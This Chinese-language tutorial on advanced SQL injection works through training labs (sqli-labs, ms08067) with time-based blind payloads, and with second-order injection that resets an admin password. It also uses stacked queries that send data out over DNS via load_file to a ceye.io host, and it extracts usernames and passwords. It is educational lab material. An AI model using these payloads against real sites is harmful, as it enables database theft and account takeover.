SQL注入进阶

4.2 SQL注入进阶

4.2.1时间注入

与布尔盲注不同的是,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间边长。时间盲注多与IF(expr1,expr2,expr3)结合使用,这条IF语句的含义是:“如果expr1是TRUE,那么IF()的返回值为expr2;否则返回值为expr3.”
所以判断数据库库名长度的语句为:

if(length(database())>1,sleep(10),1)
/*含义是:如果数据库库名长度大于1执行sleep(10)睡眠10秒,否则查询1。*/

第一步·判断数据库名长度

?id=1' and if(length(database())>7,sleep(2),1)--+

使用burp拦截数据包,当大于7时响应时间为3030millis,当大于7时响应时间为1026millis。
SQL注入进阶_第1张图片
SQL注入进阶_第2张图片
所以判断长度为8

第二步·爆破数据库名

payload:
?id=1' and if(substr(database(),1,1)='s',sleep(2),1)--+
可以尝试二分法进行判断,也可以使用burp进行爆破,但是响应时间应该随之改变。

SQL注入进阶_第3张图片
SQL注入进阶_第4张图片
爆破得到库名为“security”

第三步·爆破表名

Payload:
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(2),1)--+

SQL注入进阶_第5张图片
得到表:emails、referers、uagents、users

第四步·爆破字段

Payload:
?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(2),1)--+

在这里插入图片描述
SQL注入进阶_第6张图片
SQL注入进阶_第7张图片
第五步·猜解数据

Payload:
?id=1' and if(substr((select username from security.users limit 0,1),1,1)='d',sleep(2),1)--+
?id=1' and if(substr((select password from security.users limit 0,1),1,1)='d',sleep(2),1)--+

SQL注入进阶_第8张图片
SQL注入进阶_第9张图片

4.2.3堆叠查询注入攻击

堆叠注入攻击是将两条语句使用“;”进行合并一起执行。和union不同的是,union用来执行查询语句,而堆叠注入可以执行任意的语句。
但是堆叠注入的缺点是,第二条语句无论执行成功或失败都不会有回显。所以如果想使用堆叠注入来查询数据,则需要联合其他攻击方法进行攻击。例如:

Less-38
第一步·查询数据库名

payload:
?id=1'; select load_file(concat('///',(select database()),'url//123.txt'))--+
url处更换成自己的测试网站。

在这里插入图片描述
成功带外。

第二步·查询表名

payload:
?id=1'; select load_file(concat('///',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxx.ceye.io//123.txt'))--+

SQL注入进阶_第10张图片
第三步·查询列名

Payload:
?id=1';select load_file(concat('///',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.xxx.ceye.io//123.txt'))--+

SQL注入进阶_第11张图片
第四步·查询数据

Payload:
?id=1';select load_file(concat('///',(select username from security.users limit 0,1),'.xxx.ceye.io///123.txt'))--+

4.2.5 二次注入攻击

原理分析:
第一次注入时,将注入攻击及代码写入,接下来引用第一次所写入的数据触发代码进行攻击。

靶场练习1:
sqli-labs less-24

创建新用户
“admin'%23#”
登录新用户,更改密码为1234
之后重新登录admin用户。
发现admin用户密码已经更改成功。此时运行的语句如下

UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password='xxx

原因是由于我们注册的用户名为“admin'%23#”#号后面的语句会被注释掉,所以会导致admin用户的密码被更改。

靶场练习2:
ms08067 二次注入

doubel1.php从源码看是进行注册用户的页面
注册“test'”用户
返回新的id:6
在doubel2.php页面测试
返回报错

在这里插入图片描述

返回页面doubel1.php
注册用户“test' order by 1--+”来判断存在几列
得知有3列数据

在这里插入图片描述

判断显示位
“test' union select 1,2,3--+”
显示为是2,3

SQL注入进阶_第12张图片

使用Payload:test' union select 1,database(),user()--+
得知当前数据库为test,用户为root

SQL注入进阶_第13张图片

查询表名
test' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'--+

SQL注入进阶_第14张图片

查询users表中的列名
test' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

在这里插入图片描述

查询字段
test' union select 1,username,password from test.users where id='2'--+
得到用户名与密码
密码为md5加密
尝试解密

SQL注入进阶_第15张图片
SQL注入进阶_第16张图片

你可能感兴趣的:(#,Ms08067_Web安全攻防)